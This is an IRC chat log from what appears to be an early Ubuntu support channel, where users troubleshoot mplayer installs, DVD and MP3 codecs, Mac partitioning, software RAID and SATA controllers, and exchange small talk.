[01:44] <mercurus> err, s/FAQ/HOWTO/
[01:45] <kamstrup> mercurus: You can find lots about this in the Ubuntu forums
[01:45] <mercurus> linux_galore: yes ... I want to port a .deb to ubuntu ...
[01:45] <Acridien> mercurus: ??
[01:45] <linux_galore> mercurus: dont have to port it just get the source code then build the package
[01:45] <mercurus> I'm aware it will probably work, but I'd like to learn about how to do it - I'm happy compiling from src, but that is not the best solution when I could build it, then make it available for others
[01:46] <mercurus> "port" was probably the wrong word ... I meant, re-package for Ubuntu ...
[01:46] <linux_galore> mercurus: the same way people make rpm's is the same way you make .deb's  you build the package with a package builder from a source package you end up with a stand alone .deb file
[01:47] <yann__> do you guys no a tex frontend like kile, but for gtk? (lyx is qt i think)
[01:47] <mercurus> linux_galore: so man dpkg is my friend ?
[01:48] <phill> cat /proc/pci doesn't work for me
[01:48] <Marmaduke> does any one know why the default install for ubuntu installs kernel headers for 2.5.999 ?
[01:48] <linux_galore> mercurus: here we go http://linuxdevices.com/articles/AT8047723203.html
[01:49] <phill> how do i get divx/xvid working?
[01:49] <the_one> hi
[01:49] <Pizbit> phill: http://wiki.ubuntu.com/RestrictedFormats
[01:50] <linux_galore> phill: I use mplayer  works fine
[01:50] <mercurus> linux_galore: thank you kindly, is there nothing to be done to ensure packages are Ubuntu-style ?
[01:50] <sid77> oh no, not again!
[01:50] <the_one> I need some help with totem, I don't have sound when I play dvds
[01:50] <the_one> I removed totem-gstreamer and installed totem-xine
[01:50] <phill> pizbit: it says there is licensing issue. mplayer it is
[01:50] <kamstrup> Marmaduke: Perhaps libc was built against it... Kernel hearders should match those of libc was compiled against... I think ??
[01:51] <linux_galore> mercurus: Ubuntu is built on a debian like system so really there is little needed to be done.........you can install many Debian unstable packages straight into Ubuntu with apt-get
[01:51] <Treenaks> linux_galore: but don't do that!
[01:51] <Treenaks> linux_galore: it might break horribly when hoary comes around
[01:51] <linux_galore> Treenaks: well not unless you familiar.....Ive added a few packages already works fine
[01:52] <linux_galore> Treenaks: wouldnt try adding something like gcc or gtk from debian unstable
[01:54] <polytan> re
[01:56] <linux_galore> I grabbed it of a Turbo Linux CD
[01:57] <the_one> I try to install mplayer and it gives me this messages: Depends: libartsc0 but 1.2.3-1 is to be installed, libggi2 but 1:2.0.4-3 is to be installed, libungif4g but 4.1.0b1-6 is to be installed. I already installed them but still synaptic gives me this messages when I try to install mplayer. Any suggestions?
[01:58] <linux_galore> the_one: you need to install all those packages too
[01:58] <the_one> I did
[01:58] <mvo_> the_one: it's probably not the correct version
[01:58] <the_one> I looked in synaptic, it shows me that I have the right version
[01:58] <mvo_> the synaptic in warty does not report about the needed version
[01:58] <mvo_> the_one: odd then
[01:59] <mvo_> the_one: what happens if you do (in a terminal): "sudo apt-get install mplayer"
[01:59] <the_one> gonna try now...
[01:59] <phill> the_one: sounds like you need to add universe/multiverse as sources?
[02:00] <the_one> it gives me the same messages
[02:00] <linux_galore> time to go getting late
[02:00] <the_one> I enabled universe
[02:01] <linux_galore> its midnight..I turn into a monster....... I turn into a windows coder  lol
[02:02] <sid77> linux_galore, do you drop also some strange green fluid or are you more likely a mr hide?
[02:02] <mercurus> the_one: did you enable marillat
[02:02] <mercurus> *?
[02:02] <the_one> yes
[02:03] <the_one> I removed libartsc0 libggi2 libungif4g
[02:03] <mercurus> which architecture are you using ? i386 686 ?
[02:03] <mercurus> do an apt-cache search mplayer
[02:03] <mercurus> and then install the version that relates to your machine ... probably mplayer-686
[02:04] <the_one> I tried i686, it said that I need to have i586 installed, then when I try to install i586 it gives me Depends: libartsc0 (>= 1.3.0) but it is not going to be installed, Depends: libggi2 (>= 1:2.0.5) but it is not going to be installed,Depends: libungif4g (>= 4.1.3) but 4.1.0b1-6 is to be installed
[02:04] <linux_galore> sid77: no we rove offices at night with groups of lawyers looking for the precious
[02:04] <karevoll> anyone know where to get "ant" (the java build tool) for ubuntu? the package "ant" doesnt exist, and libant1.6-java talks about "ant in contrib".. but contrib doesn't exist for other than debian? ... can I add debians contrib to my sources.list then? wont that break a lot of stuff?
[02:05] <karevoll> the_one: dont use the mplayer from "unstable"
[02:05] <mercurus> the_one: sounds like the package is broken at the moment
[02:05] <sid77> linux_galore, lol!
[02:06] <karevoll> the_one: change "unstable" to "testing" on nerim.net in your sources.list
[02:06] <the_one> ok
[02:06] <karevoll> then it works fine :)
[02:06] <the_one> I'll try that
[02:07] <linux_galore> l8terz sid
[02:08] <linux_galore> aaaaaargh its a full moon and its midnight  .........must....not ....code....in...perl
[02:09] <linux_galore> anyway time for bed
[02:09] <linux_galore> bye folks happy hacking
[02:10] <BugS> i need someone with fully installed ubuntu (inclucing kdelibs, k3b, media players, video players, developer libs, etc...) to give mi a listing of his /var/cache so i can download those packages and take them home to my intrnetless ubuntu box
[02:13] <Treenaks> BugS: apt-zip!
[02:13] <Treenaks> BugS: look at it!
[02:13] <Treenaks> BugS: (apt-cache show apt-zip)
[02:13] <ukasz> BugS: would it not be an easier task to take yours harddrive to internet cafe?
[02:15] <BugS> ukasz: then what?
[02:15] <ukasz> run Yours system from Your hd
[02:16] <BugS> i dont think anyone will let me do that.  :-(
[02:16] <ukasz> if You connect it to a different wire (dunno the word) than just edit grub menu
[02:17] <ukasz> BugS: well try to ask first
[02:17] <ukasz> 80% of caffe's I've been in allowed me to do that
[02:18] <BugS> maybe thats because you live in some preaty developed country, unlike mine
[02:18] <BugS> ;] 
[02:20] <IOM_Detox> hello
[02:21] <Treenaks> BugS: have you looked at apt-zip?
[02:21] <BugS> yes, im installing it now
[02:22] <IOM_Detox> have a question on newbee friendly linux???
[02:22] <kamstrup> yes
[02:22] <IOM_Detox> I would like to switch a friend over from win Me to linux
[02:23] <IOM_Detox> i am using Libranet on one machine and Ubuntu on the other
[02:23] <IOM_Detox> but this person is VERY computer ignorant
[02:23] <IOM_Detox> what ver linux would be best?
[02:23] <kamstrup> have your friend seen Ubuntu? How can he still be using Win?
[02:23] <kamstrup> ah ok
[02:24] <Treenaks> I've given a computer-new friend of mine a fresh ubuntu PC
[02:24] <Treenaks> works like a charm :)
[02:24] <IOM_Detox> i have the machine again to disinfect from virus and spyware
[02:24] <kamstrup> Yes Ubuntu is fine.
[02:24] <kamstrup> Just install it and set up the various peripherals
[02:25] <kamstrup> Maybe install a few Templates and set up IM and mailing
[02:25] <IOM_Detox> ok i figure as long as i dont try to explain functions (apt-get) and focus strictly on software,
[02:25] <Treenaks> IOM_Detox: just use synaptic for 'system updates'...
[02:25] <kamstrup> There's no need to talk about installing/removing software
[02:25] <IOM_Detox> now,,, let me compicate it OK?
[02:25] <kamstrup> k
[02:25] <IOM_Detox> how about Libranet vs Ubuntu for new user?
[02:26] <Treenaks> I don't know libranet
[02:26] <kamstrup> Does Libranet automagically mount usb-sticks and cds?
[02:26] <IOM_Detox> I ask cause LN has a ton of games on it
[02:26] <IOM_Detox> yes
[02:26] <IOM_Detox> well ,, most
[02:27] <kamstrup> It is a real ewbie-treat that Gnome automatically mounts usb-sticks and cds
[02:27] <IOM_Detox> she does not have pendrive, and uses cd only rarely
[02:28] <kamstrup> hmmm... well she might be using a pendrive when she sees how easy it is
[02:28] <IOM_Detox> I will put it on, hopefully it will see the modem OK, if it does, then i will leave it
[02:28] <IOM_Detox> opps ,,,, brb
[02:28] <kamstrup> When you a talking "games" you mean for win right?
[02:29] <BugS> why dont you make .iso images with all the packages? like ubuntu cd1, cd2, cd3 etc?
[02:29] <bob2> if you want them, you can make them with the "debian-cd" program
[02:29] <bob2> but it's over very very little use to most people
[02:30] <ukasz> crimsun: the mistake was using --enable-static option
[02:30] <ukasz> thx for help
[02:34] <IOM_Detox> ubuntu is only one cd right?
[02:34] <bob2> the desktop is one, yes
[02:34] <bob2> "supported" is more than one cd of stuff
[02:34] <IOM_Detox> there are other cd's then?
[02:34] <bob2> universe is about 15 000 cds
[02:34] <bob2> there are no other cd images
[02:34] <bob2> the other packafges are on the mirrors
[02:35] <IOM_Detox> ok, i am confused,,,
[02:35] <bob2> "there is only one cd"
[02:35] <IOM_Detox> what is on the other iso's and where are they?
[02:35] <bob2> "there is a lot of software that is on no cds but are on the mirrors"
[02:35] <IOM_Detox> oh oh
[02:36] <bob2> you've never used a debian-based system before?
[02:36] <IOM_Detox> then is there a listing i can asscess?
[02:36] <bob2> of available packages?
[02:36] <IOM_Detox> yes
[02:36] <IOM_Detox> i am still new to linux
[02:36] <bob2> synaptic will show it
[02:36] <IOM_Detox> ok
[02:37] <bob2> computer menu -> system config -> synaptic
[02:37] <IOM_Detox> so on a dial-up connection,,,, 50k max,,, is there a better way to get stuff?
[02:37] <bob2> no
[02:37] <IOM_Detox> bummer
[02:38] <bob2> downloading cds via dialup is even slower than downloading packages via dialup
[02:38] <IOM_Detox> using liniws as an example... they have a listing of all software
[02:38] <IOM_Detox> yes but i am on high speed and can DL iso's here
[02:38] <bob2> "liniws"?  I've not heard of that.
[02:38] <IOM_Detox> lindows sorry
[02:39] <bob2> ah
[02:39] <IOM_Detox> spelling not good
[02:39] <bob2> you can use "apt-zip" to download packages on the fast machine for the slow one
[02:39] <IOM_Detox> fingers dont match keys well
[02:39] <IOM_Detox> aaaaaaahhhhhhh
[02:39] <IOM_Detox> this allows for DL but dows not install?
[02:40] <bob2> yes
[02:40] <IOM_Detox> cool
[02:41] <IOM_Detox> now,,, i was told there is an apt command to vies pkgs on a server/......apt-casche or something lilke that?
[02:41] <bob2> apt-cache
[02:41] <IOM_Detox> then topic?  apt-cache games
[02:41] <IOM_Detox> ??
[02:42] <bob2> no
[02:42] <bob2> depends what you want to do
[02:42] <IOM_Detox> dumb question,,,, i can get all this info in the apt manual?
[02:43] <bob2> yes
[02:43] <bob2> and in "man apt-cache"
[02:43] <BugS> can i use apt-zip on a debian machine to download packages for the slow ubuntu machine?
[02:43] <jind> Does anybody here know how to adjust the menu line font in opera?
[02:43] <BugS> i should modify mu apt.sources or what?
[02:43] <bob2> BugS: yes
[02:43] <jind> What control panel does that belong to?
[02:43] <bob2> BugS: read the man page, I suspect
[02:44] <Foxfyre> Morning all
[02:46] <Foxfyre> Dude this is awesome! Gnome can accomodate my Microsoft Windows keyboard!
[02:47] <Treenaks> Foxfyre: uh.. what else is new?
[02:47] <Foxfyre> Me
[02:47] <Foxfyre> I'm still learning all this stuff :P
[02:47] <polok> I'm gonna go to bed.
[02:47] <IOM_Detox> got to go,,,, thanks for the help all !!!!!
[02:47] <polok> g'night
[02:57] <bcaesar> hello all, I installed ubuntu on my laptop and everything works except for the screen resolution which is stuck at 800x600, it should be capable of 1024x768, how do I increase this?
[02:58] <bob2> read the wiki
[02:58] <bob2> http://wiki.ubuntu.com/XautoconfigurationDebug
[03:00] <daniels> bcaesar: please file a bug at http://bugzilla.ubuntu.com with the output of lspci and /var/log/XFree86.0.log
[03:01] <yo> hi to all
[03:02] <agwibowo> hello
[03:03] <vizvayu> Hi! Anybody used domain authentication (pam_winbind) in Ubuntu ? I can't make it work...
[03:03] <agwibowo> can anyone tell me how can i play dvd in ubuntu?
[03:03] <bcaesar> thanks everyone
[03:07] <yo> agwibowo , try to add multiverse repository
[03:07] <yo> http://www.ubuntulinux.org/support/documentation/howto/helpcenterhowto.2004-10-20.3414506543
[03:07] <yo> and install xine
[03:07] <agwibowo> i have installed xine
[03:07] <agwibowo> i just need that libdvdcss
[03:07] <agwibowo> where can i get it from?
[03:08] <bob2> it's in the RestrictedFormats wiki page
[03:08] <agwibowo> ??
[03:08] <agwibowo> and what does that mean?
[03:09] <bob2> "go read the wiki"
[03:09] <bob2> "hint: look at the wiki.ubuntu.com/RestrictedFormats page"
[03:10] <wfx> hi, i have some trouble with a second ide controller (SiI680, modul siimage) it looks like all ok but where is the dev mountpoint
[03:11] <mirak_-> mornin all
[03:12] <wfx> morning depends on te timezone :-)
[03:12] <mirak_-> well...i say goodmorning.......maybe good afternoon to you?
[03:13] <wfx> ;-)
[03:13] <wfx> to my prob again i think the dev must be one of the md(0-n) but md0 does not work
[03:15] <agwibowo> ok... thx
[03:15] <agwibowo> i'm downloading...
[03:16] <wfx> this hardaware have work (different distribtuion) where i have do a ide=reverse to grub and i found it as hdX
[03:17] <wfx> also with a 2.6 kernel but with devfs
[03:17] <agwibowo> anyone knows how i can suspend my laptop in ubuntu?
[03:19] <yann__> agwibowo: no but I would like to know the answer ;-)
[03:19] <agwibowo> yann_ : i used to be able to do it in SuSe 9.1
[03:20] <agwibowo> what about getting infrared to work?
[03:20] <yann__> agwibowo: this is the first *nix i have on this notebook
[03:21] <agwibowo> ooo
[03:22] <wfx> a cat /proc/partitions show me the md-0 to md-3 and a mount -t xfs /dev/md0 /Data/CaseA/ result in one error
[03:22] <wfx>  /dev/md0: can't read superblock
[03:22] <agwibowo> yann_: i've tried a lot of distro on my notebook.. including suse, mandrake, debian, knoppix, redhat, fedora, vector, gnoppix, slax and now ubuntu.. the best so far is ubuntu (for smoothness of operation), but for completeness, i will say suse. Everything just works... but i choose to stick with ubuntu since my laptop can't bear the slowness when i run suse
[03:22] <fabbione> wfx: what does cat /proc/mdstat says?
[03:23] <wfx> Personalities : and unused devices: <none>
[03:23] <wfx> fabbione, that means no device right?
[03:23] <agwibowo> by the way, is the cdrom dma enabled by default in ubuntu?
[03:23] <fabbione> wfx: that means that the md hasn't started
[03:24] <yann__> agwibowo: well for me it takes a little bit till i get gnome fired up. but once running, it runs nice and smooth
[03:24] <fabbione> try /etc/mdadm start
[03:24] <fabbione> and
[03:24] <fabbione> ops
[03:24] <fabbione>  /etc/init.d/mdadm start
[03:24] <fabbione> and
[03:24] <fabbione>  /etc/init.d/mdadm-raid start
[03:24] <agwibowo> yann__ : how fast is your notebook ?
[03:24] <wfx> c/init.d/mdadm start  fails
[03:24] <fabbione> wfx: hmm that's bad
[03:24] <wfx> fabbione, no prob i know what you are meaning ;-)
[03:24] <mercurus> I've just compiled an additional gnome-applet ... how do I tell GNOME as much, so I can add it to one of my panels ?
[03:24] <fabbione> ok
[03:25] <yann__> agwibowo: 667mhz (ppc), 512mb ram... so not to bad I think
[03:25] <agwibowo> oh ya.. forgotten.. i've tried yoper as well
[03:25] <agwibowo> yann__ : mine is 500 Mhz P3... 256 RAM
[03:25] <wfx> fabbione, but the device works as hdb (i have tested)
[03:25] <fabbione> wfx: the point is why it is not starting
[03:25] <wfx> fabbione, so the hardisk is ok
[03:25] <agwibowo> yoper is quite ok, but the repository is not as rich as ubuntu
[03:25] <fabbione> are the other devices of the raid ok?
[03:26] <yann__> agwibowo: ok ;-) forgot about it, but i also tried gentoo, since i have it running on my other boxes but it just takes to long for a notebook
[03:26] <fabbione> wfx: what is your mdtab or raidtab?
[03:26] <wfx> only one pluged in (i use it not as raid)
[03:26] <natea> i am about to repartition my OS X HD and want to know what the best way to prepare the drive for Ubuntu.
[03:26] <agwibowo> oo..
[03:26] <natea> in the docs it says "Leave either a place holder partition or free space for Debian GNU/Linux"
[03:26] <natea> how much free space should I leave?
[03:26] <agwibowo> does anyone know a command line msn client?
[03:27] <fabbione> wfx: than you need to force the raid to start in degraded mode
[03:27] <yann__> natea: that is the way i did it
[03:27] <natea> i have a 60GB drive
[03:27] <b_e_n_z> agwibowo: bitlbee
[03:27] <agwibowo> is it good? stable?
[03:27] <yann__> natea: i have 4gb for / and 6gb for /home
[03:27] <natea> should I use HFS+ or UFS file system?
[03:27] <bob2> linux can read either
[03:27] <yann__> natea: for osx? take hfs+ of
[03:28] <natea> yann__, ok, so 10 GB alltogether, that is what I was thinking too.
[03:28] <bob2> but some mac os X apps cry about ufs
[03:28] <yann__> bob2 sure??
[03:28] <mojo> To everyone: new Hoary updates brought users new Boot configtool, and new Service Initlevel tools, need more ppl for testing, plese get involved!
[03:28] <bob2> mojo: dude
[03:28] <broyles> i can do testing
[03:28] <bob2> mojo: please don't encourage users to use hoary until kamion/mdz/etc says so
[03:28] <mojo> bob2: alritty
[03:29] <bob2> mojo: they can ask for beta testers as easily as you can, too :)
[03:29] <natea> yann__, the article on ppcnerds.org says "I made three partitions: a bootstrap, required for yaboot, a swap and a root partition. i chose XFS as my filesystem for the root."
[03:29] <broyles> is ubuntu good enough to run a production server on?
[03:29] <bob2> yann__: oh, did you mean for mac os x or linux?
[03:29] <bob2> broyles: of course
[03:29] <natea> what should the size of the bootstrap (yaboot) partition be?
[03:29] <yann__> natea: i use ext3
[03:29] <broyles> bob2 ok.. time for a change from gentoo
[03:30] <bob2> yann__: linux will run on ext2, ext3, etc, but not ufs or hfs+
[03:30] <broyles> :)
[03:30] <yo> what about to include Mozilla Thunderbird in the next version of ubuntu ?
[03:30] <bob2> you're using gentoo on a production server?
[03:30] <yann__> bob2: that's what i meant, but it can read it
[03:30] <bob2> yo: it was already included in the last version of ubuntu!
[03:30] <yo> in mine not
[03:30] <bob2> yann__: it can read your mac os x files, yes
[03:30] <mercurus> yo: apt-get install thunderbird
[03:30] <natea> bob2, sorry, i was asking if I should make the OS X partition UFS or stick with HFS+.
[03:30] <yo> ok thanks !!
[03:30] <bob2> yo: it's in the mozilla-thunderbird package
[03:30] <bob2> natea: ah, sorry
[03:31] <linux_mafia> mojo - what package are they in?
[03:31] <broyles> is ubuntu a debian like system then?
[03:31] <bob2> natea: my bootstrap is 800KB
[03:31] <bob2> broyles: yes
[03:31] <broyles> i never got along with debian :/
[03:31] <broyles> lol
[03:31] <natea> bob2, and that partition should be the first one on the disk?
[03:32] <bob2> broyles: why?
[03:32] <bob2> natea: do you want to see my whole partition table?
[03:32] <natea> bob2, sure that would be helpful.
[03:32] <yo> ubuntu developed team is considered to do a port of k3b to gtk ?
[03:32] <bob2> natea: $flood?
[03:32] <bob2> er, #flood.
[03:32] <broyles> i never could get it to install apps propally or get used to the apt system for configuring
[03:32] <yo> i think the only thing that ubunt fails is the CD / DVD burning
[03:32] <natea> bob2, ok i'll go to #flood now
[03:32] <bob2> yo: I don't think that's on the cards, but coaster is already looking pretty good
[03:33] <b_e_n_z> broyles: so what distro do you use
[03:33] <bob2> broyles: erm, that sounds a lot like user error, since it works for hundreds of thousands of other people...
[03:33] <linux_mafia> so whos running beagle?
[03:33] <bob2> broyles: unless you were using unstable, but then you're expected to know how to fix that
[03:33] <broyles> b_e_n_z i am normally use gentoo
[03:33] <broyles> no bob2 i used the stable tree
[03:33] <mojo> linux_mafia: it's systemtool, new Hoary packages
[03:34] <linux_mafia> mojo, yeah just saw that, getting it now ;)
[03:34] <Ioda> hi
[03:34] <bob2> broyles: there should be no packages at all in stable which are uninstallable
[03:34] <broyles> bob2 i think i will give it another shot... :)
[03:35] <bob2> broyles: cool :-)
[03:35] <Ioda> how I can install mplayer? I tried to add deb ftp://ftp.nerim.net/debian-marillat/ unstable main to my sources.list
[03:35] <broyles> well i have some cds coming but i will go and d/l the image
[03:35] <bob2> Ioda: "testing", not "unstable".
[03:35] <seb128> Ioda: warty or hoary ?
[03:36] <Ioda> seb128, warty
[03:36] <edulix> hello !
[03:36] <broyles> hello edulix
[03:36] <edulix> I have installed totem-xine and now I cannot hear anything from totem now
[03:36] <Ioda> bob2, thx I'm going to try..
[03:36] <seb128> Ioda: ok, so try what bob2 said
[03:37] <seb128> there is a version in multiverse, but not sure if it works fine
[03:37] <natea> bob2, when you use the Apple Disk Utility to make these partitions, do you have to explicitly create /dev/hda1-/dev/hda8,
[03:38] <natea> or are some of those partitions automatically created by the OS?
[03:38] <bob2> natea: hm
[03:38] <broyles> bbl
[03:38] <bob2> natea: it was a while ago, but I think I just used apple disk utility to make a 10GB partition for mac OS X, and left the other 50GB unused
[03:38] <natea> i'm wondering why there are *two& Bootstrap partitions for instance.
[03:39] <bob2> then, later, I used partman to change it
[03:39] <kerryforpres> what is the name for the ubuntu package manager?
[03:39] <b_e_n_z> kerryforpres: apt-get
[03:40] <|DarkSoUl|> hi there
[03:40] <kerryforpres> apt-get install new president for U.S.
[03:40] <|DarkSoUl|> just got ubuntu live cd...booted it and..well...i get ubuntu logo and a progress bar...the bar completes and after some time, the computer restarts :/
[03:40] <bob2> kerryforpres: please don't troll here
[03:40] <natea> how big should i make the swap partition? i have 512MB RAM right now but expect to increase that to 1GB soon.
[03:41] <|DarkSoUl|> kerryforpres so how's the election?
[03:41] <bob2> natea: 512MB for swap is tons in either case
[03:41] <b_e_n_z> natea: 2Gb
[03:41] <agwibowo> strangely
[03:41] <kerryforpres> |DarkSoUl|: well it's still being run using an out-dated and un-democratic system, but other than that, pretty smoothly.
[03:41] <natea> from what i've heard, it should be *double* the amount of physical ram.
[03:41] <agwibowo> when i used xine to play dvd.
[03:41] <agwibowo> the screen is blue
[03:41] <Ioda> wow! bob2 seb128 mplayer works fine, I changed my sources.list with "testing" ;)
[03:41] <agwibowo> nothing there
[03:42] <agwibowo> but there's sound
[03:42] <b_e_n_z> agwibowo: xine, totem are not exactly robust... use mplayer
[03:42] <agwibowo> ic...
[03:43] <|DarkSoUl|> just got ubuntu live cd...booted it and..well...i get ubuntu logo and a progress bar...the bar completes and after some time, the computer restarts...anyone can help me?
[03:44] <berantl> first off I'd like to say 'hi' to every one, and thanks for creating a great distro
[03:44] <agwibowo> errr
[03:44] <agwibowo> there are so many mplayer
[03:44] <agwibowo> which one should i choose?
[03:44] <agwibowo> mplayer-386, mplayer-586, mplayer-k6, mplayer-k7
[03:44] <agwibowo> and mplayer-686
[03:44] <bob2> what cpu do you have?
[03:45] <agwibowo> pentium 3 500 Mhz
[03:45] <bob2> -686
[03:45] <berantl> 2nd (and this could be a total repeat question) but there is no mp3 codecs installed by default
[03:45] <agwibowo> but it says "transitional dummy..."
[03:45] <berantl> what is the appropriate way to fix this
[03:45] <agwibowo> transitional dummy package which can safely be removed
[03:45] <bob2> berantl: wiki.ubuntu.com/RestrictedFormats
[03:45] <bob2> berantl: feel free to complain to fraunhoffer
[03:46] <berantl> :)
[03:46] <berantl> yeah I'm aware of fraunhoffer's "issues"
[03:46] <berantl> so I take it even in universe there is no codec due to those issues
[03:46] <bob2> please read the wiki page
[03:47] <edulix> bob2: so if I have problems with totem-xine I'd better remove it, reinstall totem-gstreamer and use mplayer?
[03:47] <bob2> edulix: no idea
[03:47] <edulix> ook
[03:47] <bob2> totem-anything has always been useless to me, tho
[03:47] <edulix> hehe
[03:48] <edulix> and what about plain totem ' :P
[03:48] <edulix> ?
[03:48] <b_e_n_z> edulix: unfortunately totem is buggy, use mplayer
[03:48] <agwibowo> where is ubuntu from?
[03:49] <bob2> the word?
[03:49] <agwibowo> the distro
[03:49] <bob2> what country?
[03:49] <b_e_n_z> ubuntu is an african word
[03:49] <agwibowo> the distro
[03:50] <agwibowo> which country does it come from?
[03:50] <agwibowo> just like suse, from germany
[03:50] <bob2> all of them :-)
[03:50] <b_e_n_z> ubuntu is started by Mark S., founder of Thawte
[03:50] <agwibowo> oo
[03:50] <b_e_n_z> Mark S. is from South Africa
[03:50] <bob2> mark is from south africa, but the people working on it are from lots of countries
[03:50] <daniels> (his last name is Shuttleworth)
[03:50] <agwibowo> i c
[03:50] <Linubie> from the unbutu website : "Ubuntu" is an ancient African word, meaning "humanity to others". Ubuntu also means "I am what I am because of who we all are". The Ubuntu Linux distribution brings the spirit of Ubuntu to the software world
[03:50] <bob2> australia, the uk, usa, germany, france ...
[03:50] <edulix> b_e_n_z: thanks for the info :)
[03:51] <daniels> bob2: ... lithuania, brazil ...
[03:51] <agwibowo> hehe
[03:51] <agwibowo> bob2: alaska
[03:51] <|DarkSoUl|> madagaskar!
[03:51] <agwibowo> would anyone found linux in alaska?
[03:52] <bob2> there's a LUG there
[03:52] <agwibowo> really?????
[03:52] <yo> hehehe
[03:52] <matlads> :)
[03:53] <bob2> http://linux0.cs.uaf.edu/
[03:54] <altan_> http://img17.exs.cx/img17/5148/firefoxwhat.gif <--- My FF is using an insane amount of RAM. 5 tabs, few images that are small to begin with
[03:54] <agwibowo> anyone here from indonesia?
[03:54] <daniels> agwibowo: no, but I speak some patchy Indonesian
[03:54] <agwibowo> ooo
[03:54] <jbiscont> no sorry, I'm comming from begium
[03:55] <altan_> turkey here
[03:55] <jbiscont> belgium anyone?
[03:55] <agwibowo> i'm originally from indonesia, but currently in australia
[03:55] <valashu> Ireland
[03:56] <monkeysmurf> hi everyone
[03:56] <agwibowo> what does warthy warthog mean then?
[03:56] <monkeysmurf> does anyone have experience using nessus in ubuntu?
[03:56] <agwibowo> sounds like an anymal to me
[03:56] <bob2> agwibowo: it started as a joke way back when development started
[03:56] <agwibowo> i'm running nessus
[03:57] <agwibowo> oo
[03:57] <wfx> fabbione, Starting RAID monitoring services... no starting (it was started so the last error)
[03:57] <monkeysmurf> did you get nessus-update-plugins to work?
[03:57] <agwibowo> errr... hmmm... good question, i don't know
[03:57] <wfx> fabbione, sorry i was on telephone
[03:57] <daniels> agwibowo: ya, saya sudah belajar basa Indo di SD/SMP/SMA dan juga sedikit di uni di Melbourne :)
[03:57] <agwibowo> i just use nessus for fun... so i don'tknow what that plugins is for..
[03:57] <monkeysmurf> when I tried it, it told me wget wasn't installed, but it clearly was.
[03:58] <agwibowo> daniels: oh ya?? kamu sekarang di melbourne?
[03:58] <monkeysmurf> plugins are for checking for new security vulns and things
[03:58] <agwibowo> hmmm.....
[03:58] <agwibowo> i guess mine is workign then.. since i run all the plugins
[03:58] <agwibowo> daniels: are you studying in Melb University?
[03:58] <daniels> agwibowo: tak sekarang -- sekarang, saya di Copenhagen dengan fabbione :) tapi saya tinggal di Melbourne, ya
[03:58] <monkeysmurf> yes, but try updating the plugins --
[03:59] <monkeysmurf> sudo nessus-update-plugins in a shell
[03:59] <agwibowo> oohhhh
[03:59] <daniels> agwibowo: kuliah di unimelb
[03:59] <agwibowo> daniels: saya kuliah di unimelb sekarang
[03:59] <daniels> saya kuliah arts/eng
[03:59] <agwibowo> i see..
[04:00] <bob2> "studying"
[04:00] <bob2> :-p
[04:00] <daniels> agwibowo: (deferred for a year right now)
[04:00] <agwibowo> ok...
[04:00] <agwibowo> software engineering?
[04:00] <daniels> yah
[04:00] <agwibowo> okay..
[04:00] <agwibowo> i'm in my final year..
[04:00] <agwibowo> ehhehe
[04:01] <agwibowo> why mplayer doesnt have gui....
[04:01] <wfx> i cant mount a hardisk on a secondary ide controlle (with sil0680 chipset) if i do  mount -t xfs /dev/md0 /Data/CaseA i got a error: mount: /dev/md0: can't read superblock
[04:02] <bob2> that's a problem with your md configuration, not the fact it's a secondary ide controller
[04:04] <agwibowo> i'm off now...
[04:04] <agwibowo> nice talking to everyone, especially daniels
[04:04] <daniels> have fun :)
[04:08] <afonit> if you have a sound card, and a sound device on the mother board, how can you tell ubuntu which one to listen to?  inother words, to disable one of them.
[04:09] <afonit> applications > multimedia > volume contorl does not allow that, neither does computer > desktop preferences > sound
[04:09] <ElVirolo> hi all
[04:10] <ElVirolo> has anyone managed to install KDE 3.3 from  http://jasmine.19inch.net/~jr/away/ubuntu/?
[04:10] <bob2> afonit: disable it in the bios if ever possible
[04:10] <wfx> ok i have to go, my prob not fixed but maybe later ;-) my ubuntu to the comunity
[04:10] <afonit> bob2:  thanks, I will try that, did not even think of that
[04:13] <JIMC> hi
[04:13] <JIMC> im looking for a SATA Raid Controller anyone has experiences with adaptech 1210sa under Ubuntu?
[04:15] <darkersatanic> JIMC: The 1210SA isn't a RAID controller,
[04:15] <darkersatanic> despite what it says on the box.
[04:15] <bob2> JIMC: http://linux.yyz.us/sata/faq-sata-raid.html
[04:15] <JIMC> AAR-1210SA is a raid controller i think
[04:16] <bob2> please read that faq
[04:16] <bob2> I'm pretty sure jeff garzik knows about sata ;)
[04:17] <JIMC> which controller i should use?
[04:17] <darkersatanic> If you want real, true hardware RAID, you'll have to spend quite a lot of money.
[04:17] <bob2> 3ware is real hardware raid, but quite expensive
[04:18] <darkersatanic> If you just want some kind of RAID, get a basic two- or four-channel card,
[04:18] <darkersatanic> and run the Liinux software RAID drivers.
[04:18] <SuperQ> darkersatanic: you're better off with using software raid
[04:18] <JIMC> whats about performancE?
[04:18] <SuperQ> darkersatanic: most of your basica "ide raid" boards don't do anything usefull
[04:19] <SuperQ> JIMC: software raid has good preformance
[04:19] <SuperQ> JIMC: I run mirroring on an "old" dual athlon 1600+ system, don't notice any preformance hit
[04:20] <Riddell> ElVirolo: what happened?
[04:20] <JIMC> are the sata raid cards useless?
[04:20] <darkersatanic> SuperQ: That's exactly what I meant.
[04:20] <SuperQ> JIMC: for the most part
[04:20] <bob2> JIMC: they're not raid cards
[04:20] <SuperQ> JIMC: 3ware makes good cards
[04:20] <SuperQ> JIMC: but that's about it
[04:20] <darkersatanic> JIMC: They're not RAID -- they just implement it in in the driver.
[04:20] <JIMC> too expensive for me
[04:20] <SuperQ> maybe some of the higher end adaptec
[04:21] <SuperQ> but nothing from promise or the like
[04:21] <JIMC> do the cheap cards have a processor or do the Main CPU all the work?
[04:21] <SuperQ> main cpu does all the work
[04:22] <SuperQ> JIMC: it also depends on if you are doing mirroring or different kinds of striping
[04:22] <SuperQ> JIMC: how many drives, and what are you planing to do
[04:22] <JIMC> i wanna do mirroring
[04:22] <SuperQ> yea
[04:22] <JIMC> 2 drives
[04:22] <SuperQ> you won't see any gain with a raid board
[04:22] <SuperQ> just headaches
[04:22] <darkersatanic> SuperQ: I _think_ the Adaptec 2410SA might have some form of processing offload on it, but I'm not certain.
[04:23] <SuperQ> darkersatanic: yea.. some of them do, but it's only a gain for RAID5
[04:23] <JIMC> the gain is security
[04:23] <SuperQ> how's that?
[04:24] <SuperQ> A friend of mine was using a promise controler, the card was having trouble, so he bought a new one of the same model
[04:24] <SuperQ> between 2 cards of the same model, they changed the format of the mirroring
[04:24] <SuperQ> and he lost all his data
[04:24] <ElVirolo> Riddell: hi, sry
[04:24] <darkersatanic> SuperQ: That's insane (but I can believe it)
